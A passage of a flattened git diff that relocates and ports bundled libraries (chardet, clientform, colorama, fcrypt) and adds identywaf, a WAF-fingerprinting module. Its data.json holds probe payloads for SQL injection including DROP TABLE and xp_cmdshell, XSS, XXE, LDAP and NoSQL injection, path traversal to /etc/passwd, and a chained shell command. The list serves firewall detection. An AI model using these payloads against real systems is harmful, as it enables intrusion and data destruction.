EscCharSetProber(self.lang_filter) + if self._esc_charset_prober.feed(byte_str) == ProbingState.FOUND_IT: + self.result = {'encoding': + self._esc_charset_prober.charset_name, + 'confidence': + self._esc_charset_prober.get_confidence(), + 'language': + self._esc_charset_prober.language} + self.done = True + # If we've seen high bytes (i.e., those with values greater than 127), + # we need to do more complicated checks using all our multi-byte and + # single-byte probers that are left. The single-byte probers + # use character bigram distributions to determine the encoding, whereas + # the multi-byte probers use a combination of character unigram and + # bigram distributions. + elif self._input_state == InputState.HIGH_BYTE: + if not self._charset_probers: + self._charset_probers = [MBCSGroupProber(self.lang_filter)] + # If we're checking non-CJK encodings, use single-byte prober + if self.lang_filter & LanguageFilter.NON_CJK: + self._charset_probers.append(SBCSGroupProber()) + self._charset_probers.append(Latin1Prober()) + for prober in self._charset_probers: + if prober.feed(byte_str) == ProbingState.FOUND_IT: + self.result = {'encoding': prober.charset_name, + 'confidence': prober.get_confidence(), + 'language': prober.language} + self.done = True + break + if self.WIN_BYTE_DETECTOR.search(byte_str): + self._has_win_bytes = True + + def close(self): + """ + Stop analyzing the current document and come up with a final + prediction. + + :returns: The ``result`` attribute, a ``dict`` with the keys + `encoding`, `confidence`, and `language`. + """ + # Don't bother with checks if we're already done + if self.done: + return self.result + self.done = True + + if not self._got_data: + self.logger.debug('no data received!') + + # Default to ASCII if it is all we've seen so far + elif self._input_state == InputState.PURE_ASCII: + self.result = {'encoding': 'ascii', + 'confidence': 1.0, + 'language': ''} + + # If we have seen non-ASCII, return the best that met MINIMUM_THRESHOLD + elif self._input_state == InputState.HIGH_BYTE: + prober_confidence = None + max_prober_confidence = 0.0 + max_prober = None + for prober in self._charset_probers: + if not prober: + continue + prober_confidence = prober.get_confidence() + if prober_confidence > max_prober_confidence: + max_prober_confidence = prober_confidence + max_prober = prober + if max_prober and (max_prober_confidence > self.MINIMUM_THRESHOLD): + charset_name = max_prober.charset_name + lower_charset_name = max_prober.charset_name.lower() + confidence = max_prober.get_confidence() + # Use Windows encoding name instead of ISO-8859 if we saw any + # extra Windows-specific bytes + if lower_charset_name.startswith('iso-8859'): + if self._has_win_bytes: + charset_name = self.ISO_WIN_MAP.get(lower_charset_name, + charset_name) + self.result = {'encoding': charset_name, + 'confidence': confidence, + 'language': max_prober.language} + + # Log all prober confidences if none met MINIMUM_THRESHOLD + if self.logger.getEffectiveLevel() == logging.DEBUG: + if self.result['encoding'] is None: + self.logger.debug('no probers hit minimum threshold') + for group_prober in self._charset_probers: + if not group_prober: + continue + if isinstance(group_prober, CharSetGroupProber): + for prober in group_prober.probers: + self.logger.debug('%s %s confidence = %s', + prober.charset_name, + prober.language, + prober.get_confidence()) + else: + self.logger.debug('%s %s confidence = %s', + prober.charset_name, + prober.language, + prober.get_confidence()) + return self.result diff --git a/extra/chardet/utf8prober.py b/thirdparty/chardet/utf8prober.py old mode 100755 new mode 100644 similarity index 52% rename from extra/chardet/utf8prober.py rename to thirdparty/chardet/utf8prober.py index fec8548c85a..6c3196cc2d7 --- a/extra/chardet/utf8prober.py +++ b/thirdparty/chardet/utf8prober.py @@ -13,64 +13,70 @@ # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -import constants, sys -from constants import eStart, eError, eItsMe -from charsetprober import CharSetProber -from codingstatemachine import CodingStateMachine -from mbcssm import UTF8SMModel +from .charsetprober import CharSetProber +from .enums import ProbingState, MachineState +from .codingstatemachine import CodingStateMachine +from .mbcssm import UTF8_SM_MODEL + -ONE_CHAR_PROB = 0.5 class UTF8Prober(CharSetProber): + ONE_CHAR_PROB = 0.5 + def __init__(self): - CharSetProber.__init__(self) - self._mCodingSM = CodingStateMachine(UTF8SMModel) + super(UTF8Prober, self).__init__() + self.coding_sm = CodingStateMachine(UTF8_SM_MODEL) + self._num_mb_chars = None self.reset() def reset(self): - CharSetProber.reset(self) - self._mCodingSM.reset() - self._mNumOfMBChar = 0 + super(UTF8Prober, self).reset() + self.coding_sm.reset() + self._num_mb_chars = 0 - def get_charset_name(self): + @property + def charset_name(self): return "utf-8" - def feed(self, aBuf): - for c in aBuf: - codingState = self._mCodingSM.next_state(c) - if codingState == eError: - self._mState = constants.eNotMe + @property + def language(self): + return "" + + def feed(self, byte_str): + for c in byte_str: + coding_state = self.coding_sm.next_state(c) + if coding_state == MachineState.ERROR: + self._state = ProbingState.NOT_ME break - elif codingState == eItsMe: - self._mState = constants.eFoundIt + elif coding_state == MachineState.ITS_ME: + self._state = ProbingState.FOUND_IT break - elif codingState == eStart: - if self._mCodingSM.get_current_charlen() >= 2: - self._mNumOfMBChar += 1 + elif coding_state == MachineState.START: + if self.coding_sm.get_current_charlen() >= 2: + self._num_mb_chars += 1 - if self.get_state() == constants.eDetecting: - if self.get_confidence() > constants.SHORTCUT_THRESHOLD: - self._mState = constants.eFoundIt + if self.state == ProbingState.DETECTING: + if self.get_confidence() > self.SHORTCUT_THRESHOLD: + self._state = ProbingState.FOUND_IT - return self.get_state() + return self.state def get_confidence(self): unlike = 0.99 - if self._mNumOfMBChar < 6: - for i in xrange(0, self._mNumOfMBChar): - unlike = unlike * ONE_CHAR_PROB + if self._num_mb_chars < 6: + unlike *= self.ONE_CHAR_PROB ** self._num_mb_chars return 1.0 - unlike else: return unlike diff --git a/thirdparty/chardet/version.py b/thirdparty/chardet/version.py new file mode 100644 index 00000000000..bb2a34a70ea --- /dev/null +++ b/thirdparty/chardet/version.py @@ -0,0 +1,9 @@ +""" +This module exists only to simplify retrieving the version number of chardet +from within setup.py and from chardet subpackages. + +:author: Dan Blanchard (dan.blanchard@gmail.com) +""" + +__version__ = "3.0.4" +VERSION = __version__.split('.') diff --git a/thirdparty/clientform/__init__.py b/thirdparty/clientform/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/extra/clientform/clientform.py b/thirdparty/clientform/clientform.py similarity index 95% rename from extra/clientform/clientform.py rename to thirdparty/clientform/clientform.py index 80abc514a61..34f2f999f49 100644 --- a/extra/clientform/clientform.py +++ b/thirdparty/clientform/clientform.py @@ -66,17 +66,6 @@ 'SubmitButtonControl', 'SubmitControl', 'TextControl', 'TextareaControl', 'XHTMLCompatibleFormParser'] -try: True -except NameError: - True = 1 - False = 0 - -try: bool -except NameError: - def bool(expr): - if expr: return True - else: return False - try: import logging import inspect @@ -104,11 +93,29 @@ def _show_debug_messages(): handler.setLevel(logging.DEBUG) _logger.addHandler(handler) -import sys, urllib, urllib2, types, mimetools, copy, urlparse, \ - htmlentitydefs, re, random -from cStringIO import StringIO +try: + from thirdparty import six + from thirdparty.six import unichr as _unichr + from thirdparty.six.moves import cStringIO as _cStringIO + from thirdparty.six.moves import html_entities as _html_entities + from thirdparty.six.moves import urllib as _urllib +except ImportError: + import six + from six import unichr as _unichr + from six.moves import cStringIO as _cStringIO + from six.moves import html_entities as _html_entities + from six.moves import urllib as _urllib + +try: + import sgmllib +except ImportError: + from lib.utils import sgmllib + +import sys, re, random + +if sys.version_info >= (3, 0): + xrange = range -import sgmllib # monkeypatch to fix http://www.python.org/sf/803422 :-( sgmllib.charref = re.compile("&#(x?[0-9a-fA-F]+)[^0-9a-fA-F]") @@ -144,6 +151,14 @@ def compress_text(text): return _compress_re.sub(" ", text.strip()) def normalize_line_endings(text): return re.sub(r"(?:(? 0): + raise + self._write(text, retry-1) + except UnicodeError: + self.wrapped.write('?') + + def convert_ansi(self, paramstring, command): + if self.convert: + params = self.extract_params(command, paramstring) + self.call_win32(command, params) + + + def extract_params(self, command, paramstring): + if command in 'Hf': + params = tuple(int(p) if len(p) != 0 else 1 for p in paramstring.split(';')) + while len(params) < 2: + # defaults: + params = params + (1,) + else: + params = tuple(int(p) for p in paramstring.split(';') if len(p) != 0) + if len(params) == 0: + # defaults: + if command in 'JKm': + params = (0,) + elif command in 'ABCD': + params = (1,) + + return params + + + def call_win32(self, command, params): + if command == 'm': + for param in params: + if param in self.win32_calls: + func_args = self.win32_calls[param] + func = func_args[0] + args = func_args[1:] + kwargs = dict(on_stderr=self.on_stderr) + func(*args, **kwargs) + elif command in 'J': + winterm.erase_screen(params[0], on_stderr=self.on_stderr) + elif command in 'K': + winterm.erase_line(params[0], on_stderr=self.on_stderr) + elif command in 'Hf': # cursor position - absolute + winterm.set_cursor_position(params, on_stderr=self.on_stderr) + elif command in 'ABCD': # cursor position - relative + n = params[0] + # A - up, B - down, C - forward, D - back + x, y = {'A': (0, -n), 'B': (0, n), 'C': (n, 0), 'D': (-n, 0)}[command] + winterm.cursor_adjust(x, y, on_stderr=self.on_stderr) + + + def convert_osc(self, text): + for match in self.ANSI_OSC_RE.finditer(text): + start, end = match.span() + text = text[:start] + text[end:] + paramstring, command = match.groups() + if command in '\x07': # \x07 = BEL + params = paramstring.split(";") + # 0 - change title and icon (we will only change title) + # 1 - change icon (we don't support this) + # 2 - change title + # if params[0] in '02': + # winterm.set_title(params[1]) + return text diff --git a/thirdparty/colorama/initialise.py b/thirdparty/colorama/initialise.py new file mode 100644 index 00000000000..a996d078842 --- /dev/null +++ b/thirdparty/colorama/initialise.py @@ -0,0 +1,89 @@ +# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. +import atexit +import contextlib +import sys + +from .ansitowin32 import AnsiToWin32 + + +orig_stdout = None +orig_stderr = None + +wrapped_stdout = None +wrapped_stderr = None + +atexit_done = False + + +def reset_all(): + if AnsiToWin32 is not None: # Issue #74: objects might become None at exit + AnsiToWin32(orig_stdout).reset_all() + + +def init(autoreset=False, convert=None, strip=None, wrap=True): + global wrapped_stdout, wrapped_stderr + global orig_stdout, orig_stderr + + if orig_stdout is not None: + return + + if not wrap and any([autoreset, convert, strip]): + raise ValueError('wrap=False conflicts with any other arg=True') + + orig_stdout = sys.stdout + orig_stderr = sys.stderr + + if sys.stdout is None: + wrapped_stdout = None + else: + sys.stdout = wrapped_stdout = \ + wrap_stream(orig_stdout, convert, strip, autoreset, wrap) + if sys.stderr is None: + wrapped_stderr = None + else: + sys.stderr = wrapped_stderr = \ + wrap_stream(orig_stderr, convert, strip, autoreset, wrap) + + global atexit_done + if not atexit_done: + atexit.register(reset_all) + atexit_done = True + + +def deinit(): + global orig_stdout + global orig_stderr + + if orig_stdout is not None: + sys.stdout = orig_stdout + orig_stdout = None + if orig_stderr is not None: + sys.stderr = orig_stderr + orig_stderr = None + + +@contextlib.contextmanager +def colorama_text(*args, **kwargs): + init(*args, **kwargs) + try: + yield + finally: + deinit() + + +def reinit(): + if wrapped_stdout is not None: + sys.stdout = wrapped_stdout + if wrapped_stderr is not None: + sys.stderr = wrapped_stderr + + +def wrap_stream(stream, convert, strip, autoreset, wrap): + if wrap: + wrapper = AnsiToWin32(stream, + convert=convert, strip=strip, autoreset=autoreset) + if wrapper.should_wrap(): + stream = wrapper.stream + return stream + + diff --git a/thirdparty/colorama/win32.py b/thirdparty/colorama/win32.py new file mode 100644 index 00000000000..3d1d2f2d918 --- /dev/null +++ b/thirdparty/colorama/win32.py @@ -0,0 +1,154 @@ +# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. + +# from winbase.h +STDOUT = -11 +STDERR = -12 + +try: + import ctypes + from ctypes import LibraryLoader + windll = LibraryLoader(ctypes.WinDLL) + from ctypes import wintypes +except (AttributeError, ImportError): + windll = None + SetConsoleTextAttribute = lambda *_: None + winapi_test = lambda *_: None +else: + from ctypes import byref, Structure, c_char, POINTER + + COORD = wintypes._COORD + + class CONSOLE_SCREEN_BUFFER_INFO(Structure): + """struct in wincon.h.""" + _fields_ = [ + ("dwSize", COORD), + ("dwCursorPosition", COORD), + ("wAttributes", wintypes.WORD), + ("srWindow", wintypes.SMALL_RECT), + ("dwMaximumWindowSize", COORD), + ] + def __str__(self): + return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % ( + self.dwSize.Y, self.dwSize.X + , self.dwCursorPosition.Y, self.dwCursorPosition.X + , self.wAttributes + , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right + , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X + ) + + _GetStdHandle = windll.kernel32.GetStdHandle + _GetStdHandle.argtypes = [ + wintypes.DWORD, + ] + _GetStdHandle.restype = wintypes.HANDLE + + _GetConsoleScreenBufferInfo = windll.kernel32.GetConsoleScreenBufferInfo + _GetConsoleScreenBufferInfo.argtypes = [ + wintypes.HANDLE, + POINTER(CONSOLE_SCREEN_BUFFER_INFO), + ] + _GetConsoleScreenBufferInfo.restype = wintypes.BOOL + + _SetConsoleTextAttribute = windll.kernel32.SetConsoleTextAttribute + _SetConsoleTextAttribute.argtypes = [ + wintypes.HANDLE, + wintypes.WORD, + ] + _SetConsoleTextAttribute.restype = wintypes.BOOL + + _SetConsoleCursorPosition = windll.kernel32.SetConsoleCursorPosition + _SetConsoleCursorPosition.argtypes = [ + wintypes.HANDLE, + COORD, + ] + _SetConsoleCursorPosition.restype = wintypes.BOOL + + _FillConsoleOutputCharacterA = windll.kernel32.FillConsoleOutputCharacterA + _FillConsoleOutputCharacterA.argtypes = [ + wintypes.HANDLE, + c_char, + wintypes.DWORD, + COORD, + POINTER(wintypes.DWORD), + ] + _FillConsoleOutputCharacterA.restype = wintypes.BOOL + + _FillConsoleOutputAttribute = windll.kernel32.FillConsoleOutputAttribute + _FillConsoleOutputAttribute.argtypes = [ + wintypes.HANDLE, + wintypes.WORD, + wintypes.DWORD, + COORD, + POINTER(wintypes.DWORD), + ] + _FillConsoleOutputAttribute.restype = wintypes.BOOL + + _SetConsoleTitleW = windll.kernel32.SetConsoleTitleA + _SetConsoleTitleW.argtypes = [ + wintypes.LPCSTR + ] + _SetConsoleTitleW.restype = wintypes.BOOL + + handles = { + STDOUT: _GetStdHandle(STDOUT), + STDERR: _GetStdHandle(STDERR), + } + + def winapi_test(): + handle = handles[STDOUT] + csbi = CONSOLE_SCREEN_BUFFER_INFO() + success = _GetConsoleScreenBufferInfo( + handle, byref(csbi)) + return bool(success) + + def GetConsoleScreenBufferInfo(stream_id=STDOUT): + handle = handles[stream_id] + csbi = CONSOLE_SCREEN_BUFFER_INFO() + success = _GetConsoleScreenBufferInfo( + handle, byref(csbi)) + return csbi + + def SetConsoleTextAttribute(stream_id, attrs): + handle = handles[stream_id] + return _SetConsoleTextAttribute(handle, attrs) + + def SetConsoleCursorPosition(stream_id, position, adjust=True): + position = COORD(*position) + # If the position is out of range, do nothing. + if position.Y <= 0 or position.X <= 0: + return + # Adjust for Windows' SetConsoleCursorPosition: + # 1. being 0-based, while ANSI is 1-based. + # 2. expecting (x,y), while ANSI uses (y,x). + adjusted_position = COORD(position.Y - 1, position.X - 1) + if adjust: + # Adjust for viewport's scroll position + sr = GetConsoleScreenBufferInfo(STDOUT).srWindow + adjusted_position.Y += sr.Top + adjusted_position.X += sr.Left + # Resume normal processing + handle = handles[stream_id] + return _SetConsoleCursorPosition(handle, adjusted_position) + + def FillConsoleOutputCharacter(stream_id, char, length, start): + handle = handles[stream_id] + char = c_char(char.encode()) + length = wintypes.DWORD(length) + num_written = wintypes.DWORD(0) + # Note that this is hard-coded for ANSI (vs wide) bytes. + success = _FillConsoleOutputCharacterA( + handle, char, length, start, byref(num_written)) + return num_written.value + + def FillConsoleOutputAttribute(stream_id, attr, length, start): + ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )''' + handle = handles[stream_id] + attribute = wintypes.WORD(attr) + length = wintypes.DWORD(length) + num_written = wintypes.DWORD(0) + # Note that this is hard-coded for ANSI (vs wide) bytes. + return _FillConsoleOutputAttribute( + handle, attribute, length, start, byref(num_written)) + + def SetConsoleTitle(title): + return _SetConsoleTitleW(title) diff --git a/thirdparty/colorama/winterm.py b/thirdparty/colorama/winterm.py new file mode 100644 index 00000000000..b7c2404b74b --- /dev/null +++ b/thirdparty/colorama/winterm.py @@ -0,0 +1,166 @@ +# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. +from . import win32 + + +# from wincon.h +class WinColor(object): + BLACK = 0 + BLUE = 1 + GREEN = 2 + CYAN = 3 + RED = 4 + MAGENTA = 5 + YELLOW = 6 + GREY = 7 + +# from wincon.h +class WinStyle(object): + NORMAL = 0x00 # dim text, dim background + BRIGHT = 0x08 # bright text, dim background + BRIGHT_BACKGROUND = 0x80 # dim text, bright background + +class WinTerm(object): + + def __init__(self): + self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes + self.set_attrs(self._default) + self._default_fore = self._fore + self._default_back = self._back + self._default_style = self._style + # In order to emulate LIGHT_EX in windows, we borrow the BRIGHT style. + # So that LIGHT_EX colors and BRIGHT style do not clobber each other, + # we track them separately, since LIGHT_EX is overwritten by Fore/Back + # and BRIGHT is overwritten by Style codes. + self._light = 0 + + def get_attrs(self): + return self._fore + self._back * 16 + (self._style | self._light) + + def set_attrs(self, value): + self._fore = value & 7 + self._back = (value >> 4) & 7 + self._style = value & (WinStyle.BRIGHT | WinStyle.BRIGHT_BACKGROUND) + + def reset_all(self, on_stderr=None): + self.set_attrs(self._default) + self.set_console(attrs=self._default) + + def fore(self, fore=None, light=False, on_stderr=False): + if fore is None: + fore = self._default_fore + self._fore = fore + # Emulate LIGHT_EX with BRIGHT Style + if light: + self._light |= WinStyle.BRIGHT + else: + self._light &= ~WinStyle.BRIGHT + self.set_console(on_stderr=on_stderr) + + def back(self, back=None, light=False, on_stderr=False): + if back is None: + back = self._default_back + self._back = back + # Emulate LIGHT_EX with BRIGHT_BACKGROUND Style + if light: + self._light |= WinStyle.BRIGHT_BACKGROUND + else: + self._light &= ~WinStyle.BRIGHT_BACKGROUND + self.set_console(on_stderr=on_stderr) + + def style(self, style=None, on_stderr=False): + if style is None: + style = self._default_style + self._style = style + self.set_console(on_stderr=on_stderr) + + def set_console(self, attrs=None, on_stderr=False): + if attrs is None: + attrs = self.get_attrs() + handle = win32.STDOUT + if on_stderr: + handle = win32.STDERR + win32.SetConsoleTextAttribute(handle, attrs) + + def get_position(self, handle): + position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition + # Because Windows coordinates are 0-based, + # and win32.SetConsoleCursorPosition expects 1-based. + position.X += 1 + position.Y += 1 + return position + + def set_cursor_position(self, position=None, on_stderr=False): + if position is None: + # I'm not currently tracking the position, so there is no default. + # position = self.get_position() + return + handle = win32.STDOUT + if on_stderr: + handle = win32.STDERR + win32.SetConsoleCursorPosition(handle, position) + + def cursor_adjust(self, x, y, on_stderr=False): + handle = win32.STDOUT + if on_stderr: + handle = win32.STDERR + position = self.get_position(handle) + adjusted_position = (position.Y + y, position.X + x) + win32.SetConsoleCursorPosition(handle, adjusted_position, adjust=False) + + def erase_screen(self, mode=0, on_stderr=False): + # 0 should clear from the cursor to the end of the screen. + # 1 should clear from the cursor to the beginning of the screen. + # 2 should clear the entire screen, and move cursor to (1,1) + handle = win32.STDOUT + if on_stderr: + handle = win32.STDERR + csbi = win32.GetConsoleScreenBufferInfo(handle) + # get the number of character cells in the current buffer + cells_in_screen = csbi.dwSize.X * csbi.dwSize.Y + # get number of character cells before current cursor position + cells_before_cursor = csbi.dwSize.X * csbi.dwCursorPosition.Y + csbi.dwCursorPosition.X + if mode == 0: + from_coord = csbi.dwCursorPosition + cells_to_erase = cells_in_screen - cells_before_cursor + if mode == 1: + from_coord = win32.COORD(0, 0) + cells_to_erase = cells_before_cursor + elif mode == 2: + from_coord = win32.COORD(0, 0) + cells_to_erase = cells_in_screen + else: + return + # fill the entire screen with blanks + win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) + # now set the buffer's attributes accordingly + win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) + if mode == 2: + # put the cursor where needed + win32.SetConsoleCursorPosition(handle, (1, 1)) + + def erase_line(self, mode=0, on_stderr=False): + # 0 should clear from the cursor to the end of the line. + # 1 should clear from the cursor to the beginning of the line. + # 2 should clear the entire line. + handle = win32.STDOUT + if on_stderr: + handle = win32.STDERR + csbi = win32.GetConsoleScreenBufferInfo(handle) + if mode == 0: + from_coord = csbi.dwCursorPosition + cells_to_erase = csbi.dwSize.X - csbi.dwCursorPosition.X + if mode == 1: + from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) + cells_to_erase = csbi.dwCursorPosition.X + elif mode == 2: + from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) + cells_to_erase = csbi.dwSize.X + else: + return + # fill the entire screen with blanks + win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) + # now set the buffer's attributes accordingly + win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) + + def set_title(self, title): + win32.SetConsoleTitle(title) diff --git a/extra/fcrypt/__init__.py b/thirdparty/fcrypt/__init__.py similarity index 100% rename from extra/fcrypt/__init__.py rename to thirdparty/fcrypt/__init__.py diff --git a/extra/fcrypt/fcrypt.py b/thirdparty/fcrypt/fcrypt.py similarity index 98% rename from extra/fcrypt/fcrypt.py rename to thirdparty/fcrypt/fcrypt.py index bd6c970ba0b..8fb36a62316 100644 --- a/extra/fcrypt/fcrypt.py +++ b/thirdparty/fcrypt/fcrypt.py @@ -119,8 +119,10 @@ # ----- END fcrypt.c LICENSE ----- -import string, struct +import struct, sys +if sys.version_info >= (3, 0): + xrange = range _ITERATIONS = 16 @@ -453,7 +455,7 @@ def _PERM_OP(a,b,n,m): def _set_key(password): """Generate DES key schedule from ASCII password.""" - c,d = struct.unpack('>> import random, string - >>> saltchars = string.letters + string.digits + './' + >>> saltchars = string.ascii_letters + string.digits + './' >>> salt = random.choice(saltchars) + random.choice(saltchars) Note that other ASCII characters are accepted in the salt, but the @@ -604,7 +606,7 @@ def crypt(password, salt): # Convert to characters. for i in xrange(len(r)): r[i] = _cov_2char[r[i]] - return salt[:2] + string.join(r, '') + return salt[:2] + ''.join(r) def _test(): """Run doctest on fcrypt module.""" diff --git a/thirdparty/identywaf/LICENSE b/thirdparty/identywaf/LICENSE new file mode 100644 index 00000000000..c46b637f9e2 --- /dev/null +++ b/thirdparty/identywaf/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2019-2020 Miroslav Stampar + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/thirdparty/identywaf/__init__.py b/thirdparty/identywaf/__init__.py new file mode 100644 index 00000000000..4ce99ee8e05 --- /dev/null +++ b/thirdparty/identywaf/__init__.py @@ -0,0 +1,9 @@ +#!/usr/bin/env python +# +# Copyright (c) 2019-2021 Miroslav Stampar (@stamparm), MIT +# See the file 'LICENSE' for copying permission + +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. + +pass diff --git a/thirdparty/identywaf/data.json b/thirdparty/identywaf/data.json new file mode 100644 index 00000000000..afab549d4b5 --- /dev/null +++ b/thirdparty/identywaf/data.json @@ -0,0 +1,943 @@ +{ + "__copyright__": "Copyright (c) 2019-2021 Miroslav Stampar (@stamparm), MIT. See the file 'LICENSE' for copying permission", + "__notice__": "The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software", + + "payloads": [ + "HTML::", + "SQLi::1 AND 1", + "SQLi::1/**/AND/**/1", + "SQLi::1/*0AND*/1", + "SQLi::1 AND 1=1", + "SQLi::1 AND 1 LIKE 1", + "SQLi::1 AND 1 BETWEEN 0 AND 1", + "SQLi::1 AND 2>(SELECT 1)-- -", + "SQLi::' OR SLEEP(5) OR '", + "SQLi::admin'-- -", + "SQLi::information_schema", + "SQLi::;DROP TABLE mysql.users", + "SQLi::';DROP DATABASE mysql#", + "SQLi::1/**/UNION/**/SELECT/**/1/**/FROM/**/information_schema.*", + "SQLi::SELECT id FROM users WHERE id>2", + "SQLi::1 UNION SELECT information_schema.*", + "SQLi::1;EXEC xp_cmdshell('type autoexec.bat');", + "SQLi::1;INSERT INTO USERS values('admin', 'foobar')", + "XSS::", + "XSS::", + "XSS::", + "XSS::\\\";alert('XSS');//", + "XSS::1' onerror=alert(String.fromCharCode(88,83,83))>", + "XSS::var n=0;while(true){n++;}]]>", + "XSS::", + "XSS::javascript:alert(/XSS/)", + "XSS::", + "XPATHi::' and count(/*)=1 and '1'='1", + "XPATHi::count(/child::node())", + "XPATHi::' and count(/comment())=1 and '1'='1", + "XPATHi::' or '1'='1", + "XXE::]>&xxe;", + "LDAPi::admin*)((|userpassword=*)", + "LDAPi::user=*)(uid=*))(|(uid=*", + "LDAPi::*(|(objectclass=*))", + "NOSQLi::true, $where: '1 == 1'", + "NOSQLi::{ $ne: 1 }", + "NOSQLi::' } ], $comment:'success'", + "PHPi::", + "ACE::netstat -antup | grep :443; ping 127.0.0.1; curl http://www.google.com", + "PT:://///.htaccess", + "PT::/etc/passwd", + "PT::../../boot.ini", + "PT::C:/inetpub/wwwroot/global.asa" + ], + "wafs": { + "360": { + "company": "360", + "name": "360", + "regex": "493|/wzws-waf-cgi/", + "signatures": [ + "9778:RVZXum61OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTC", + "9ccc:RVZXum61OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c36A4chW1XaTC" + ] + }, + "aesecure": { + "company": "aeSecure", + "name": "aeSecure", + "regex": "aesecure_denied\\.png|aesecure-code: \\d+", + "signatures": [ + "8a4b:RVdXu260OEhCWapBYKcPk4JzWOtohM4JiUcMrmRXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJOdLsXo2tKaK99n+i7c4RmkgI2FZnxtDtBeq+c36A4chW1XaTD" + ] + }, + "airlock": { + "company": "Phion/Ergon", + "name": "Airlock", + "regex": "The server detected a syntax error in your request", + "signatures": [ + "3e2c:RVZXu261OEhCWapBYKcPk4JzWOtohM4IiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXomtKaK59n+i6c4RmkwI2FZjxtDtAeq6c36A5chW1XaTD" + ] + }, + "alertlogic": { + "company": "Alert Logic", + "name": "Alert Logic", + "regex": "(?s)timed_redirect\\(seconds, url\\).+?

    Reference ID:", + "signatures": [] + }, + "aliyundun": { + "company": "Alibaba Cloud Computing", + "name": "AliYunDun", + "regex": "Sorry, your request has been blocked as it may cause potential threats to the server's security|//errors\\.aliyun\\.com/", + "signatures": [ + "e082:RVZXum61OElCWapAYKYPkoJzWOpohM4JiUYMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC" + ] + }, + "anquanbao": { + "company": "Anquanbao", + "name": "Anquanbao", + "regex": "/aqb_cc/error/", + "signatures": [ + "c790:RVZXum61OElCWapAYKYPk4JzWOpohM4JiUYMr2RXg1uQJbX3uhdOn9hsOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "d3d3:RVZXum61OElCWapAYKYPk4JzWOpohM4JiUYMr2RXg1uQJbX3uhdOn9hsOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC" + ] + }, + "approach": { + "company": "Approach", + "name": "Approach", + "regex": "Approach.+?Web Application (Firewall|Filtering)", + "signatures": [ + "fef0:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A5chW1XKTD" + ] + }, + "armor": { + "company": "Armor Defense", + "name": "Armor Protection", + "regex": "This request has been blocked by website protection from Armor", + "signatures": [ + "03ec:RVZXum60OEhCWapBYKYPk4JzWOtohM4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c36A4chS1XaTC", + "1160:RVZXum60OEhCWapBYKYPk4JyWOtohM4IiUcMr2RWg1qQJbX3uhZOnthsOj6hXrAA16BcPhJOdLoXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC" + ], + "note": "Uses SecureSphere (Imperva) (Reference: 